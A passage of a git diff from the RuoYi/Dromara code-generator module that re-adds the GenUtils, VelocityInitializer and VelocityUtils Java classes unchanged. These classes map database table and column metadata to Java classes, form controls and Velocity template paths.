column.setIsInsert(GenConstants.REQUIRE); - } - // BO对象 默认编辑勾选 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_EDIT, columnName)) { - column.setIsEdit(GenConstants.REQUIRE); - } - // VO对象 默认返回勾选 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_LIST, columnName)) { - column.setIsList(GenConstants.REQUIRE); - } - // BO对象 默认查询勾选 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_QUERY, columnName) && !column.isPk()) { - column.setIsQuery(GenConstants.REQUIRE); - } - - // 查询字段类型 - if (StringUtils.endsWithIgnoreCase(columnName, "name")) { - column.setQueryType(GenConstants.QUERY_LIKE); - } - // 状态字段设置单选框 - if (StringUtils.endsWithIgnoreCase(columnName, "status")) { - column.setHtmlType(GenConstants.HTML_RADIO); - } - // 类型&性别字段设置下拉框 - else if (StringUtils.endsWithIgnoreCase(columnName, "type") - || StringUtils.endsWithIgnoreCase(columnName, "sex")) { - column.setHtmlType(GenConstants.HTML_SELECT); - } - // 图片字段设置图片上传控件 - else if (StringUtils.endsWithIgnoreCase(columnName, "image")) { - column.setHtmlType(GenConstants.HTML_IMAGE_UPLOAD); - } - // 文件字段设置文件上传控件 - else if (StringUtils.endsWithIgnoreCase(columnName, "file")) { - column.setHtmlType(GenConstants.HTML_FILE_UPLOAD); - } - // 内容字段设置富文本控件 - else if (StringUtils.endsWithIgnoreCase(columnName, "content")) { - column.setHtmlType(GenConstants.HTML_EDITOR); - } - } - - /** - * 校验数组是否包含指定值 - * - * @param arr 数组 - * @param targetValue 值 - * @return 是否包含 - */ - public static boolean arraysContains(String[] arr, String targetValue) { - return Arrays.asList(arr).contains(targetValue); - } - - /** - * 获取模块名 - * - * @param packageName 包名 - * @return 模块名 - */ - public static String getModuleName(String packageName) { - int lastIndex = packageName.lastIndexOf("."); - int nameLength = packageName.length(); - return StringUtils.substring(packageName, lastIndex + 1, nameLength); - } - - /** - * 获取业务名 - * - * @param tableName 表名 - * @return 业务名 - */ - public static String getBusinessName(String tableName) { - int firstIndex = tableName.indexOf("_"); - int nameLength = tableName.length(); - String businessName = StringUtils.substring(tableName, firstIndex + 1, nameLength); - businessName = StringUtils.toCamelCase(businessName); - return businessName; - } - - /** - * 表名转换成Java类名 - * - * @param tableName 表名称 - * @return 类名 - */ - public static String convertClassName(String tableName) { - boolean autoRemovePre = GenConfig.getAutoRemovePre(); - String tablePrefix = GenConfig.getTablePrefix(); - if (autoRemovePre && StringUtils.isNotEmpty(tablePrefix)) { - String[] searchList = StringUtils.split(tablePrefix, StringUtils.SEPARATOR); - tableName = replaceFirst(tableName, searchList); - } - return StringUtils.convertToCamelCase(tableName); - } - - /** - * 批量替换前缀 - * - * @param replacementm 替换值 - * @param searchList 替换列表 - */ - public static String replaceFirst(String replacementm, String[] searchList) { - String text = replacementm; - for (String searchString : searchList) { - if (replacementm.startsWith(searchString)) { - text = replacementm.replaceFirst(searchString, StringUtils.EMPTY); - break; - } - } - return text; - } - - /** - * 关键字替换 - * - * @param text 需要被替换的名字 - * @return 替换后的名字 - */ - public static String replaceText(String text) { - return RegExUtils.replaceAll(text, "(?:表|若依)", ""); - } - - /** - * 获取数据库类型字段 - * - * @param columnType 列类型 - * @return 截取后的列类型 - */ - public static String getDbType(String columnType) { - if (StringUtils.indexOf(columnType, "(") > 0) { - return StringUtils.substringBefore(columnType, "("); - } else { - return columnType; - } - } - - /** - * 获取字段长度 - * - * @param columnType 列类型 - * @return 截取后的列类型 - */ - public static Integer getColumnLength(String columnType) { - if (StringUtils.indexOf(columnType, "(") > 0) { - String length = StringUtils.substringBetween(columnType, "(", ")"); - return Integer.valueOf(length); - } else { - return 0; - } - } -} +package org.dromara.generator.util; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.apache.commons.lang3.RegExUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.generator.config.GenConfig; +import org.dromara.generator.constant.GenConstants; +import org.dromara.generator.domain.GenTable; +import org.dromara.generator.domain.GenTableColumn; + +import java.util.Arrays; + +/** + * 代码生成器 工具类 + * + * @author ruoyi + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class GenUtils { + + /** + * 初始化表信息 + */ + public static void initTable(GenTable genTable) { + genTable.setClassName(convertClassName(genTable.getTableName())); + genTable.setPackageName(GenConfig.getPackageName()); + genTable.setModuleName(getModuleName(GenConfig.getPackageName())); + genTable.setBusinessName(getBusinessName(genTable.getTableName())); + genTable.setFunctionName(replaceText(genTable.getTableComment())); + genTable.setFunctionAuthor(GenConfig.getAuthor()); + genTable.setCreateTime(null); + genTable.setUpdateTime(null); + } + + /** + * 初始化列属性字段 + */ + public static void initColumnField(GenTableColumn column, GenTable table) { + String dataType = getDbType(column.getColumnType()); + // 统一转小写 避免有些数据库默认大写问题 如果需要特别书写方式 请在实体类增加注解标注别名 + String columnName = column.getColumnName().toLowerCase(); + column.setTableId(table.getTableId()); + column.setCreateTime(null); + column.setUpdateTime(null); + // 设置java字段名 + column.setJavaField(StringUtils.toCamelCase(columnName)); + // 设置默认类型 + column.setJavaType(GenConstants.TYPE_STRING); + column.setQueryType(GenConstants.QUERY_EQ); + + if (arraysContains(GenConstants.COLUMNTYPE_STR, dataType) || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType)) { + // 字符串长度超过500设置为文本域 + Integer columnLength = getColumnLength(column.getColumnType()); + String htmlType = columnLength >= 500 || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType) ? GenConstants.HTML_TEXTAREA : GenConstants.HTML_INPUT; + column.setHtmlType(htmlType); + } else if (arraysContains(GenConstants.COLUMNTYPE_TIME, dataType)) { + column.setJavaType(GenConstants.TYPE_DATE); + column.setHtmlType(GenConstants.HTML_DATETIME); + } else if (arraysContains(GenConstants.COLUMNTYPE_NUMBER, dataType)) { + column.setHtmlType(GenConstants.HTML_INPUT); + // 数据库的数字字段与java不匹配 且很多数据库的数字字段很模糊 例如oracle只有number没有细分 + // 所以默认数字类型全为Long可在界面上自行编辑想要的类型 有什么特殊需求也可以在这里特殊处理 + column.setJavaType(GenConstants.TYPE_LONG); + } + + // BO对象 默认插入勾选 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_ADD, columnName) && !column.isPk()) { + column.setIsInsert(GenConstants.REQUIRE); + } + // BO对象 默认编辑勾选 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_EDIT, columnName)) { + column.setIsEdit(GenConstants.REQUIRE); + } + // VO对象 默认返回勾选 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_LIST, columnName)) { + column.setIsList(GenConstants.REQUIRE); + } + // BO对象 默认查询勾选 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_QUERY, columnName) && !column.isPk()) { + column.setIsQuery(GenConstants.REQUIRE); + } + + // 查询字段类型 + if (StringUtils.endsWithIgnoreCase(columnName, "name")) { + column.setQueryType(GenConstants.QUERY_LIKE); + } + // 状态字段设置单选框 + if (StringUtils.endsWithIgnoreCase(columnName, "status")) { + column.setHtmlType(GenConstants.HTML_RADIO); + } + // 类型&性别字段设置下拉框 + else if (StringUtils.endsWithIgnoreCase(columnName, "type") + || StringUtils.endsWithIgnoreCase(columnName, "sex")) { + column.setHtmlType(GenConstants.HTML_SELECT); + } + // 图片字段设置图片上传控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "image")) { + column.setHtmlType(GenConstants.HTML_IMAGE_UPLOAD); + } + // 文件字段设置文件上传控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "file")) { + column.setHtmlType(GenConstants.HTML_FILE_UPLOAD); + } + // 内容字段设置富文本控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "content")) { + column.setHtmlType(GenConstants.HTML_EDITOR); + } + } + + /** + * 校验数组是否包含指定值 + * + * @param arr 数组 + * @param targetValue 值 + * @return 是否包含 + */ + public static boolean arraysContains(String[] arr, String targetValue) { + return Arrays.asList(arr).contains(targetValue); + } + + /** + * 获取模块名 + * + * @param packageName 包名 + * @return 模块名 + */ + public static String getModuleName(String packageName) { + int lastIndex = packageName.lastIndexOf("."); + int nameLength = packageName.length(); + return StringUtils.substring(packageName, lastIndex + 1, nameLength); + } + + /** + * 获取业务名 + * + * @param tableName 表名 + * @return 业务名 + */ + public static String getBusinessName(String tableName) { + int firstIndex = tableName.indexOf("_"); + int nameLength = tableName.length(); + String businessName = StringUtils.substring(tableName, firstIndex + 1, nameLength); + businessName = StringUtils.toCamelCase(businessName); + return businessName; + } + + /** + * 表名转换成Java类名 + * + * @param tableName 表名称 + * @return 类名 + */ + public static String convertClassName(String tableName) { + boolean autoRemovePre = GenConfig.getAutoRemovePre(); + String tablePrefix = GenConfig.getTablePrefix(); + if (autoRemovePre && StringUtils.isNotEmpty(tablePrefix)) { + String[] searchList = StringUtils.split(tablePrefix, StringUtils.SEPARATOR); + tableName = replaceFirst(tableName, searchList); + } + return StringUtils.convertToCamelCase(tableName); + } + + /** + * 批量替换前缀 + * + * @param replacementm 替换值 + * @param searchList 替换列表 + */ + public static String replaceFirst(String replacementm, String[] searchList) { + String text = replacementm; + for (String searchString : searchList) { + if (replacementm.startsWith(searchString)) { + text = replacementm.replaceFirst(searchString, StringUtils.EMPTY); + break; + } + } + return text; + } + + /** + * 关键字替换 + * + * @param text 需要被替换的名字 + * @return 替换后的名字 + */ + public static String replaceText(String text) { + return RegExUtils.replaceAll(text, "(?:表|若依)", ""); + } + + /** + * 获取数据库类型字段 + * + * @param columnType 列类型 + * @return 截取后的列类型 + */ + public static String getDbType(String columnType) { + if (StringUtils.indexOf(columnType, "(") > 0) { + return StringUtils.substringBefore(columnType, "("); + } else { + return columnType; + } + } + + /** + * 获取字段长度 + * + * @param columnType 列类型 + * @return 截取后的列类型 + */ + public static Integer getColumnLength(String columnType) { + if (StringUtils.indexOf(columnType, "(") > 0) { + String length = StringUtils.substringBetween(columnType, "(", ")"); + return Integer.valueOf(length); + } else { + return 0; + } + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityInitializer.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityInitializer.java index c8955b6..9e4a8b7 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityInitializer.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityInitializer.java @@ -1,35 +1,35 @@ -package org.dromara.generator.util; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.apache.velocity.app.Velocity; -import org.dromara.common.core.constant.Constants; - -import java.util.Properties; - -/** - * VelocityEngine工厂 - * - * @author ruoyi - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class VelocityInitializer { - - /** - * 初始化vm方法 - */ - public static void initVelocity() { - Properties p = new Properties(); - try { - // 加载classpath目录下的vm文件 - p.setProperty("resource.loader.file.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); - // 定义字符集 - p.setProperty(Velocity.INPUT_ENCODING, Constants.UTF8); - // 初始化Velocity引擎,指定配置Properties - Velocity.init(p); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} +package org.dromara.generator.util; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.apache.velocity.app.Velocity; +import org.dromara.common.core.constant.Constants; + +import java.util.Properties; + +/** + * VelocityEngine工厂 + * + * @author ruoyi + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class VelocityInitializer { + + /** + * 初始化vm方法 + */ + public static void initVelocity() { + Properties p = new Properties(); + try { + // 加载classpath目录下的vm文件 + p.setProperty("resource.loader.file.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); + // 定义字符集 + p.setProperty(Velocity.INPUT_ENCODING, Constants.UTF8); + // 初始化Velocity引擎,指定配置Properties + Velocity.init(p); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityUtils.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityUtils.java index ad0c69d..23ba689 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityUtils.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/VelocityUtils.java @@ -1,341 +1,341 @@ -package org.dromara.generator.util; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.lang.Dict; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.apache.velocity.VelocityContext; -import org.dromara.common.core.utils.DateUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.mybatis.helper.DataBaseHelper; -import org.dromara.generator.constant.GenConstants; -import org.dromara.generator.domain.GenTable; -import org.dromara.generator.domain.GenTableColumn; - -import java.util.*; - -/** - * 模板处理工具类 - * - * @author ruoyi - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class VelocityUtils { - - /** - * 项目空间路径 - */ - private static final String PROJECT_PATH = "main/java"; - - /** - * mybatis空间路径 - */ - private static final String MYBATIS_PATH = "main/resources/mapper"; - - /** - * 默认上级菜单,系统工具 - */ - private static final String DEFAULT_PARENT_MENU_ID = "3"; - - /** - * 设置模板变量信息 - * - * @return 模板列表 - */ - public static VelocityContext prepareContext(GenTable genTable) { - String moduleName = genTable.getModuleName(); - String businessName = genTable.getBusinessName(); - String packageName = genTable.getPackageName(); - String tplCategory = genTable.getTplCategory(); - String functionName = genTable.getFunctionName(); - - VelocityContext velocityContext = new VelocityContext(); - velocityContext.put("tplCategory", genTable.getTplCategory()); - velocityContext.put("tableName", genTable.getTableName()); - velocityContext.put("functionName", StringUtils.isNotEmpty(functionName) ? functionName : "【请填写功能名称】"); - velocityContext.put("ClassName", genTable.getClassName()); - velocityContext.put("className", StringUtils.uncapitalize(genTable.getClassName())); - velocityContext.put("moduleName", genTable.getModuleName()); - velocityContext.put("BusinessName", StringUtils.capitalize(genTable.getBusinessName())); - velocityContext.put("businessName", genTable.getBusinessName()); - velocityContext.put("basePackage", getPackagePrefix(packageName)); - velocityContext.put("packageName", packageName); - velocityContext.put("author", genTable.getFunctionAuthor()); - velocityContext.put("datetime", DateUtils.getDate()); - velocityContext.put("pkColumn", genTable.getPkColumn()); - velocityContext.put("importList", getImportList(genTable)); - velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName)); - velocityContext.put("columns", genTable.getColumns()); - velocityContext.put("table", genTable); - velocityContext.put("dicts", getDicts(genTable)); - setMenuVelocityContext(velocityContext, genTable); - if (GenConstants.TPL_TREE.equals(tplCategory)) { - setTreeVelocityContext(velocityContext, genTable); - } - return velocityContext; - } - - public static void setMenuVelocityContext(VelocityContext context, GenTable genTable) { - String options = genTable.getOptions(); - Dict paramsObj = JsonUtils.parseMap(options); - String parentMenuId = getParentMenuId(paramsObj); - context.put("parentMenuId", parentMenuId); - } - - public static void setTreeVelocityContext(VelocityContext context, GenTable genTable) { - String options = genTable.getOptions(); - Dict paramsObj = JsonUtils.parseMap(options); - String treeCode = getTreecode(paramsObj); - String treeParentCode = getTreeParentCode(paramsObj); - String treeName = getTreeName(paramsObj); - - context.put("treeCode", treeCode); - context.put("treeParentCode", treeParentCode); - context.put("treeName", treeName); - context.put("expandColumn", getExpandColumn(genTable)); - if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) { - context.put("tree_parent_code", paramsObj.get(GenConstants.TREE_PARENT_CODE)); - } - if (paramsObj.containsKey(GenConstants.TREE_NAME)) { - context.put("tree_name", paramsObj.get(GenConstants.TREE_NAME)); - } - } - - /** - * 获取模板信息 - * - * @return 模板列表 - */ - public static List getTemplateList(String tplCategory) { - List templates = new ArrayList<>(); - templates.add("vm/java/domain.java.vm"); - templates.add("vm/java/vo.java.vm"); - templates.add("vm/java/bo.java.vm"); - templates.add("vm/java/mapper.java.vm"); - templates.add("vm/java/service.java.vm"); - templates.add("vm/java/serviceImpl.java.vm"); - templates.add("vm/java/controller.java.vm"); - templates.add("vm/xml/mapper.xml.vm"); - if (DataBaseHelper.isOracle()) { - templates.add("vm/sql/oracle/sql.vm"); - } else if (DataBaseHelper.isPostgerSql()) { - templates.add("vm/sql/postgres/sql.vm"); - } else if (DataBaseHelper.isSqlServer()) { - templates.add("vm/sql/sqlserver/sql.vm"); - } else { - templates.add("vm/sql/sql.vm"); - } - templates.add("vm/ts/api.ts.vm"); - templates.add("vm/ts/types.ts.vm"); - if (GenConstants.TPL_CRUD.equals(tplCategory)) { - templates.add("vm/vue/index.vue.vm"); - } else if (GenConstants.TPL_TREE.equals(tplCategory)) { - templates.add("vm/vue/index-tree.vue.vm"); - } - return templates; - } - - /** - * 获取文件名 - */ - public static String getFileName(String template, GenTable genTable) { - // 文件名称 - String fileName = ""; - // 包路径 - String packageName = genTable.getPackageName(); - // 模块名 - String moduleName = genTable.getModuleName(); - // 大写类名 - String className = genTable.getClassName(); - // 业务名称 - String businessName = genTable.getBusinessName(); - - String javaPath = PROJECT_PATH + "/" + StringUtils.replace(packageName, ".", "/"); - String mybatisPath = MYBATIS_PATH + "/" + moduleName; - String vuePath = "vue"; - - if (template.contains("domain.java.vm")) { - fileName = StringUtils.format("{}/domain/{}.java", javaPath, className); - } - if (template.contains("vo.java.vm")) { - fileName = StringUtils.format("{}/domain/vo/{}Vo.java", javaPath, className); - } - if (template.contains("bo.java.vm")) { - fileName = StringUtils.format("{}/domain/bo/{}Bo.java", javaPath, className); - } - if (template.contains("mapper.java.vm")) { - fileName = StringUtils.format("{}/mapper/{}Mapper.java", javaPath, className); - } else if (template.contains("service.java.vm")) { - fileName = StringUtils.format("{}/service/I{}Service.java", javaPath, className); - } else if (template.contains("serviceImpl.java.vm")) { - fileName = StringUtils.format("{}/service/impl/{}ServiceImpl.java", javaPath, className); - } else if (template.contains("controller.java.vm")) { - fileName = StringUtils.format("{}/controller/{}Controller.java", javaPath, className); - } else if (template.contains("mapper.xml.vm")) { - fileName = StringUtils.format("{}/{}Mapper.xml", mybatisPath, className); - } else if (template.contains("sql.vm")) { - fileName = businessName + "Menu.sql"; - } else if (template.contains("api.ts.vm")) { - fileName = StringUtils.format("{}/api/{}/{}/index.ts", vuePath, moduleName, businessName); - } else if (template.contains("types.ts.vm")) { - fileName = StringUtils.format("{}/api/{}/{}/types.ts", vuePath, moduleName, businessName); - } else if (template.contains("index.vue.vm")) { - fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); - } else if (template.contains("index-tree.vue.vm")) { - fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); - } - return fileName; - } - - /** - * 获取包前缀 - * - * @param packageName 包名称 - * @return 包前缀名称 - */ - public static String getPackagePrefix(String packageName) { - int lastIndex = packageName.lastIndexOf("."); - return StringUtils.substring(packageName, 0, lastIndex); - } - - /** - * 根据列类型获取导入包 - * - * @param genTable 业务表对象 - * @return 返回需要导入的包列表 - */ - public static HashSet getImportList(GenTable genTable) { - List columns = genTable.getColumns(); - HashSet importList = new HashSet<>(); - for (GenTableColumn column : columns) { - if (!column.isSuperColumn() && GenConstants.TYPE_DATE.equals(column.getJavaType())) { - importList.add("java.util.Date"); - importList.add("com.fasterxml.jackson.annotation.JsonFormat"); - } else if (!column.isSuperColumn() && GenConstants.TYPE_BIGDECIMAL.equals(column.getJavaType())) { - importList.add("java.math.BigDecimal"); - } else if (!column.isSuperColumn() && "imageUpload".equals(column.getHtmlType())) { - importList.add("org.dromara.common.translation.annotation.Translation"); - importList.add("org.dromara.common.translation.constant.TransConstant"); - } - } - return importList; - } - - /** - * 根据列类型获取字典组 - * - * @param genTable 业务表对象 - * @return 返回字典组 - */ - public static String getDicts(GenTable genTable) { - List columns = genTable.getColumns(); - Set dicts = new HashSet<>(); - addDicts(dicts, columns); - return StringUtils.join(dicts, ", "); - } - - /** - * 添加字典列表 - * - * @param dicts 字典列表 - * @param columns 列集合 - */ - public static void addDicts(Set dicts, List columns) { - for (GenTableColumn column : columns) { - if (!column.isSuperColumn() && StringUtils.isNotEmpty(column.getDictType()) && StringUtils.equalsAny( - column.getHtmlType(), - new String[] { GenConstants.HTML_SELECT, GenConstants.HTML_RADIO, GenConstants.HTML_CHECKBOX })) { - dicts.add("'" + column.getDictType() + "'"); - } - } - } - - /** - * 获取权限前缀 - * - * @param moduleName 模块名称 - * @param businessName 业务名称 - * @return 返回权限前缀 - */ - public static String getPermissionPrefix(String moduleName, String businessName) { - return StringUtils.format("{}:{}", moduleName, businessName); - } - - /** - * 获取上级菜单ID字段 - * - * @param paramsObj 生成其他选项 - * @return 上级菜单ID字段 - */ - public static String getParentMenuId(Dict paramsObj) { - if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.PARENT_MENU_ID) - && StringUtils.isNotEmpty(paramsObj.getStr(GenConstants.PARENT_MENU_ID))) { - return paramsObj.getStr(GenConstants.PARENT_MENU_ID); - } - return DEFAULT_PARENT_MENU_ID; - } - - /** - * 获取树编码 - * - * @param paramsObj 生成其他选项 - * @return 树编码 - */ - public static String getTreecode(Map paramsObj) { - if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.TREE_CODE)) { - return StringUtils.toCamelCase(Convert.toStr(paramsObj.get(GenConstants.TREE_CODE))); - } - return StringUtils.EMPTY; - } - - /** - * 获取树父编码 - * - * @param paramsObj 生成其他选项 - * @return 树父编码 - */ - public static String getTreeParentCode(Dict paramsObj) { - if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) { - return StringUtils.toCamelCase(paramsObj.getStr(GenConstants.TREE_PARENT_CODE)); - } - return StringUtils.EMPTY; - } - - /** - * 获取树名称 - * - * @param paramsObj 生成其他选项 - * @return 树名称 - */ - public static String getTreeName(Dict paramsObj) { - if (CollUtil.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.TREE_NAME)) { - return StringUtils.toCamelCase(paramsObj.getStr(GenConstants.TREE_NAME)); - } - return StringUtils.EMPTY; - } - - /** - * 获取需要在哪一列上面显示展开按钮 - * - * @param genTable 业务表对象 - * @return 展开按钮列序号 - */ - public static int getExpandColumn(GenTable genTable) { - String options = genTable.getOptions(); - Dict paramsObj = JsonUtils.parseMap(options); - String treeName = paramsObj.getStr(GenConstants.TREE_NAME); - int num = 0; - for (GenTableColumn column : genTable.getColumns()) { - if (column.isList()) { - num++; - String columnName = column.getColumnName(); - if (columnName.equals(treeName)) { - break; - } - } - } - return num; - } -} +package org.dromara.generator.util; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.lang.Dict; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.apache.velocity.VelocityContext; +import org.dromara.common.core.utils.DateUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.mybatis.helper.DataBaseHelper; +import org.dromara.generator.constant.GenConstants; +import org.dromara.generator.domain.GenTable; +import org.dromara.generator.domain.GenTableColumn; + +import java.util.*; + +/** + * 模板处理工具类 + * + * @author ruoyi + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class VelocityUtils { + + /** + * 项目空间路径 + */ + private static final String PROJECT_PATH = "main/java"; + + /** + * mybatis空间路径 + */ + private static final String MYBATIS_PATH = "main/resources/mapper"; + + /** + * 默认上级菜单,系统工具 + */ + private static final String DEFAULT_PARENT_MENU_ID = "3"; + + /** + * 设置模板变量信息 + * + * @return 模板列表 + */ + public static VelocityContext prepareContext(GenTable genTable) { + String moduleName = genTable.getModuleName(); + String businessName = genTable.getBusinessName(); + String packageName = genTable.getPackageName(); + String tplCategory = genTable.getTplCategory(); + String functionName = genTable.getFunctionName(); + + VelocityContext velocityContext = new VelocityContext(); + velocityContext.put("tplCategory", genTable.getTplCategory()); + velocityContext.put("tableName", genTable.getTableName()); + velocityContext.put("functionName", StringUtils.isNotEmpty(functionName) ? functionName : "【请填写功能名称】"); + velocityContext.put("ClassName", genTable.getClassName()); + velocityContext.put("className", StringUtils.uncapitalize(genTable.getClassName())); + velocityContext.put("moduleName", genTable.getModuleName()); + velocityContext.put("BusinessName", StringUtils.capitalize(genTable.getBusinessName())); + velocityContext.put("businessName", genTable.getBusinessName()); + velocityContext.put("basePackage", getPackagePrefix(packageName)); + velocityContext.put("packageName", packageName); + velocityContext.put("author", genTable.getFunctionAuthor()); + velocityContext.put("datetime", DateUtils.getDate()); + velocityContext.put("pkColumn", genTable.getPkColumn()); + velocityContext.put("importList", getImportList(genTable)); + velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName)); + velocityContext.put("columns", genTable.getColumns()); + velocityContext.put("table", genTable); + velocityContext.put("dicts", getDicts(genTable)); + setMenuVelocityContext(velocityContext, genTable); + if (GenConstants.TPL_TREE.equals(tplCategory)) { + setTreeVelocityContext(velocityContext, genTable); + } + return velocityContext; + } + + public static void setMenuVelocityContext(VelocityContext context, GenTable genTable) { + String options = genTable.getOptions(); + Dict paramsObj = JsonUtils.parseMap(options); + String parentMenuId = getParentMenuId(paramsObj); + context.put("parentMenuId", parentMenuId); + } + + public static void setTreeVelocityContext(VelocityContext context, GenTable genTable) { + String options = genTable.getOptions(); + Dict paramsObj = JsonUtils.parseMap(options); + String treeCode = getTreecode(paramsObj); + String treeParentCode = getTreeParentCode(paramsObj); + String treeName = getTreeName(paramsObj); + + context.put("treeCode", treeCode); + context.put("treeParentCode", treeParentCode); + context.put("treeName", treeName); + context.put("expandColumn", getExpandColumn(genTable)); + if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) { + context.put("tree_parent_code", paramsObj.get(GenConstants.TREE_PARENT_CODE)); + } + if (paramsObj.containsKey(GenConstants.TREE_NAME)) { + context.put("tree_name", paramsObj.get(GenConstants.TREE_NAME)); + } + } + + /** + * 获取模板信息 + * + * @return 模板列表 + */ + public static List getTemplateList(String tplCategory) { + List templates = new ArrayList<>(); + templates.add("vm/java/domain.java.vm"); + templates.add("vm/java/vo.java.vm"); + templates.add("vm/java/bo.java.vm"); + templates.add("vm/java/mapper.java.vm"); + templates.add("vm/java/service.java.vm"); + templates.add("vm/java/serviceImpl.java.vm"); + templates.add("vm/java/controller.java.vm"); + templates.add("vm/xml/mapper.xml.vm"); + if (DataBaseHelper.isOracle()) { + templates.add("vm/sql/oracle/sql.vm"); + } else if (DataBaseHelper.isPostgerSql()) { + templates.add("vm/sql/postgres/sql.vm"); + } else if (DataBaseHelper.isSqlServer()) { + templates.add("vm/sql/sqlserver/sql.vm"); + } else { + templates.add("vm/sql/sql.vm"); + } + templates.add("vm/ts/api.ts.vm"); + templates.add("vm/ts/types.ts.vm"); + if (GenConstants.TPL_CRUD.equals(tplCategory)) { + templates.add("vm/vue/index.vue.vm"); + } else if (GenConstants.TPL_TREE.equals(tplCategory)) { + templates.add("vm/vue/index-tree.vue.vm"); + } + return templates; + } + + /** + * 获取文件名 + */ + public static String getFileName(String template, GenTable genTable) { + // 文件名称 + String fileName = ""; + // 包路径 + String packageName = genTable.getPackageName(); + // 模块名 + String moduleName = genTable.getModuleName(); + // 大写类名 + String className = genTable.getClassName(); + // 业务名称 + String businessName = genTable.getBusinessName(); + + String javaPath = PROJECT_PATH + "/" + StringUtils.replace(packageName, ".", "/"); + String mybatisPath = MYBATIS_PATH + "/" + moduleName; + String vuePath = "vue"; + + if (template.contains("domain.java.vm")) { + fileName = StringUtils.format("{}/domain/{}.java", javaPath, className); + } + if (template.contains("vo.java.vm")) { + fileName = StringUtils.format("{}/domain/vo/{}Vo.java", javaPath, className); + } + if (template.contains("bo.java.vm")) { + fileName = StringUtils.format("{}/domain/bo/{}Bo.java", javaPath, className); + } + if (template.contains("mapper.java.vm")) { + fileName = StringUtils.format("{}/mapper/{}Mapper.java", javaPath, className); + } else if (template.contains("service.java.vm")) { + fileName = StringUtils.format("{}/service/I{}Service.java", javaPath, className); + } else if (template.contains("serviceImpl.java.vm")) { + fileName = StringUtils.format("{}/service/impl/{}ServiceImpl.java", javaPath, className); + } else if (template.contains("controller.java.vm")) { + fileName = StringUtils.format("{}/controller/{}Controller.java", javaPath, className); + } else if (template.contains("mapper.xml.vm")) { + fileName = StringUtils.format("{}/{}Mapper.xml", mybatisPath, className); + } else if (template.contains("sql.vm")) { + fileName = businessName + "Menu.sql"; + } else if (template.contains("api.ts.vm")) { + fileName = StringUtils.format("{}/api/{}/{}/index.ts", vuePath, moduleName, businessName); + } else if (template.contains("types.ts.vm")) { + fileName = StringUtils.format("{}/api/{}/{}/types.ts", vuePath, moduleName, businessName); + } else if (template.contains("index.vue.vm")) { + fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); + } else if (template.contains("index-tree.vue.vm")) { + fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); + } + return fileName; + } + + /** + * 获取包前缀 + * + * @param packageName 包名称 + * @return 包前缀名称 + */ + public static String getPackagePrefix(String packageName) { + int lastIndex = packageName.lastIndexOf("."); + return StringUtils.substring(packageName, 0, lastIndex); + } + + /** + * 根据列类型获取导入包 + * + * @param genTable 业务表对象 + * @return 返回需要导入的包列表 + */ + public static HashSet getImportList(GenTable genTable) { + List columns = genTable.getColumns(); + HashSet importList = new HashSet<>(); + for (GenTableColumn column : columns) { + if (!column.isSuperColumn() && GenConstants.TYPE_DATE.equals(column.getJavaType())) { + importList.add("java.util.Date"); + importList.add("com.fasterxml.jackson.annotation.JsonFormat"); + } else if (!column.isSuperColumn() && GenConstants.TYPE_BIGDECIMAL.equals(column.getJavaType())) { 